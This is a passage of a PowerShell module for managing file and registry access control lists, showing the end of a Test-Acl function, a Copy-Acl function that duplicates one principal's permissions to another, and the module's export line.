if($Principal -is [System.String] -and $Principal -notmatch "\\")
{ $Principal = "$env:computername\$Principal" }
$Results = ,@{}
}
Process
{
$ErrorActionPreference = "STOP"
foreach($item in $Path)
{
$HasWork = $false
$Acl =$item | Get-Acl
$Any = $false
foreach ($rule in $Acl.Access | Where-Object {$_.IdentityReference.Value -eq $Principal })
{
$ExistingPermission =$rule.($Acl.AccessRightType.Name)
Parse-Enum $Rights $Acl.AccessRightType | Out-Null
$CheckingPermission = $Rights -as $Acl.AccessRightType
if($ExistingPermission -band $CheckingPermission)
{
$Any = $true
$Results += New-Object –TypeName PSObject –Prop (@{'Path'=$item; 'Result'=$true;})
break
}
}
if($Any -eq $false)
{
$Results += New-Object –TypeName PSObject –Prop (@{'Path'=$item; 'Result'=$false;})
}
}
}
End
{
return $Results | Format-Table
}
}
Set-Alias tacl Test-Acl
<#
.SYNOPSIS
Checks ACL Entries to Objects.
.DESCRIPTION
Used to simplify checking ACL settings. Allows for more natural syntax
.PARAMETER Path
Changes the security descriptor of the specified item.
Enter the path to an item, such as a path to a file or registry key.
.PARAMETER Principal
The user/group principal to be used as master set.
.PARAMETER DestinationPrincipal
The user/group principal to be coped to.
.EXAMPLE
Copy-Acl -Path "c:\temp" -Principal "User1" -DestinationPrincipal "User2"
Copy Folder ACL by username
.NOTES
#>
Function Copy-Acl
{
#region Params
[CmdletBinding()]
Param
(
[Parameter(Mandatory=$true,Position=0,ValueFromPipeline)]
[ValidateNotNullOrEmpty()]
[string[]] $Path,
[Parameter(Mandatory=$true, Position=1)]
[ValidateNotNullOrEmpty()]
$Principal,
[Parameter(Mandatory=$true, Position=2)]
[ValidateNotNullOrEmpty()]
$DestinationPrincipal
)
#endregion
Begin
{
if($Principal -is [System.Security.Principal.SecurityIdentifier])
{
$Principal = $Principal.Translate([System.Security.Principal.NTAccount]).Value # | select Name
}
elseif($Principal -is [System.String] -and $Principal -notmatch "\\")
{
$Principal = "$env:computername\$Principal"
}
}
Process
{
$ErrorActionPreference = "Continue"
foreach($Item in $Path)
{
$HasWork= $False
$Acl = Get-Acl $item
foreach ($rule in $Acl.Access | Where-Object {$_.IdentityReference.Value -eq $Principal})
{
$Ar=$null
$HasWork = $true
$Ar = New-Object($Acl.AccessRuleType)($DestinationPrincipal, $rule.($Acl.AccessRightType.Name), $rule.InheritanceFlags, $rule.PropagationFlags, $rule.AccessControlType)
if($Ar)
{ $Acl.AddAccessRule($Ar) | Out-Null }
}
if($HasWork)
{ Set-Acl $Item $Acl }
}
}
}
Set-Alias cacl Copy-Acl
Export-ModuleMember -Function Add-Acl, Remove-Acl, Test-Acl,Update-Acl,Copy-Acl -Alias aacl, racl, tacl, uacl, cacl
|
Subsets and Splits